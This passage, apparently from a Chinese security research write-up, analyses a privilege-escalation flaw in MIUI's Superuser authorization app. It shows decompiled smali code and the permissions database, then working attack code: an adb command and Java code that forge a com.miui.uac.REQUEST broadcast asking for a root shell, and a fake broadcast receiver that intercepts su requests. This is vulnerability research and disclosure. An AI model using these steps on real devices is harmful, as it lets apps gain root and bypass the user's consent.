su根据Socket客户端发来的结果继续或者终止提权过程
二、问题定位
由于MIUI的su不容易被逆向分析,所以从分析Superuser.apk(Superuser.odex)入手。MIUI将系统应用程序(/sysetm/app目录下)apk文件中的classes.dex提取出来,进行优化得到odex文件,也存放到/system/app目录下。例如,Superuser这个app就分为两个部分,Superuser.apk和Superuser.odex,与典型的apk文件不同,Superuser.apk中已没有classes.dex了。
查看Superuser.apk中的AndroidManifest.xml,看到了一个比较关键的BroadcastReceiver:
<?xml version="1.0" encoding="utf-8"?>
<manifest android:versionCode="24" android:versionName="2.3.6"
package="com.miui.uac"
xmlns:android="http://schemas.android.com/apk/res/android">
...
<receiver android:name="SuRequestReceiver">
<intent-filter>
<action android:name="com.miui.uac.REQUEST" />
</intent-filter>
</receiver>
...
<uses-permission android:name="com.miui.uac.RESPOND" />
<permission
android:label="@string/permlab_respond"
android:name="com.miui.uac.RESPOND"
android:protectionLevel="signature"
android:permissionGroup="android.permission-group.SYSTEM_TOOLS"
android:description="@string/permdesc_respond" />
(1)伪造广播
尝试使用am发送一条空广播:
$ adb shell am broadcast -a com.miui.uac.REQUEST
授权管理app崩溃了。
查看log发现广播接收器中的数据库查询语句出了问题,应该是缺少参数导致的。看来伪造广播并发送是可行的,但是在此之前,要找到合适的广播参数,让授权管理app不会崩溃。使用baksmali反编译Superuser.apk查看com/miui/uac/SuRequestReceiver.smali的代码:
.method public onReceive(Landroid/content/Context;Landroid/content/Intent;)V
const/4 v2, 0x0
const-string v0, "caller_uid" #从intent中得到caller_uid
invoke-virtual {p2, v0, v2}, Landroid/content/Intent;->getIntExtra(Ljava/lang/String;I)I
move-result v0
const-string v1, "desired_uid" #从intent中得到desired_uid
invoke-virtual {p2, v1, v2}, Landroid/content/Intent;->getIntExtra(Ljava/lang/String;I)I
move-result v1
const-string v2, "desired_cmd" #从intent中得到desired_cmd
invoke-virtual {p2, v2}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String;
move-result-object v2
const-string v3, "socket" #从intent中得到socket
invoke-virtual {p2, v3}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String;
move-result-object v3
# 从数据库中查询当前app权限配置
new-instance v4, Lcom/miui/uac/DBHelper;
invoke-direct {v4, p1}, Lcom/miui/uac/DBHelper;->(Landroid/content/Context;)V
invoke-virtual {v4, v0, v1, v2}, Lcom/miui/uac/DBHelper;->checkApp(IILjava/lang/String;)Lcom/miui/uac/AppDetails;
move-result-object v0
invoke-virtual {v0}, Lcom/miui/uac/AppDetails;->getAllow()I
move-result v1
const/4 v2, -0x1
if-ne v1, v2, :cond_3f
# 弹框提示用户允许/拒绝当前app提权
new-instance v0, Landroid/content/Intent;
const-class v1, Lcom/miui/uac/SuRequest;
invoke-direct {v0, p1, v1}, Landroid/content/Intent;->(Landroid/content/Context;Ljava/lang/Class;)V
invoke-virtual {v0, p2}, Landroid/content/Intent;->putExtras(Landroid/content/Intent;)Landroid/content/Intent;
const/high16 v1, 0x1000
invoke-virtual {v0, v1}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
invoke-virtual {p1, v0}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V
:goto_3b
invoke-virtual {v4}, Lcom/miui/uac/DBHelper;->close()V
return-void
:cond_3f
# 返回结果给su
invoke-static {p1, v0, v3}, Lcom/miui/uac/ResponseHelper;->sendResult(Landroid/content/Context;Lcom/miui/uac/AppDetails;Ljava/lang/String;)V
goto :goto_3b
.end method
根据smali代码,可以看到intent传递过来的广播参数一共有四个,key分别为caller_uid, desired_uid, desired_cmd, socket,值依次存储在寄存器v0~v3中。DBHelper进行数据库操作时,并没有涉及到寄存器v3,因此,只要在构造的广播中加入前三个参数,也就是caller_uid, desired_uid, desired_cmd即可。# pwd
/datadata/com.miui.uac/databases
# ls -l
-rw-rw---- 1 app_32 app_32 288768 Jan 21 17:01 permissions.sqlite
# sqlite3 permissions.sqlite
sqlite> .tables
android_metadata apps logs prefs
sqlite> .schema apps
CREATE TABLE apps (_id INTEGER, uid INTEGER, package TEXT, name TEXT,
exec_uid INTEGER, exec_cmd TEXT, allow INTEGER, PRIMARY KEY (_id),
UNIQUE (uid,exec_uid,exec_cmd));
sqlite> select * from apps;
1|10058|jackpal.androidterm|终端模拟器|0|/system/bin/sh|1
$ adb shell am broadcast -a com.miui.uac.REQUEST \
> --ei caller_uid 10051 --ei desired_uid 0 --es desired_cmd "/system/bin/sh"
Intent it = new Intent();
it.setAction("com.miui.uac.REQUEST");
// ComponentName c = new ComponentName("com.miui.uac", "com.miui.uac.SuRequestReceiver");
// it.setComponent(c);
it.putExtra("caller_uid", 10051);
it.putExtra("desired_uid", 0);
it.putExtra("desired_cmd", "/system/bin/sh");
getApplicationContext().sendBroadcast(it);
(2)伪造广播接收器
自己写一个app注册广播接收器net.yurushao.uactest.FakeSuRequestReceiver:
<receiver android:name=".FakeSuRequestReceiver" >
<intent-filter>
<action android:name="com.miui.uac.REQUEST" />
</intent-filter>
</receiver>
public class FakeSuRequestReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context arg0, Intent arg1) {
// TODO Auto-generated method stub
System.out.println(arg1.getAction());
}
}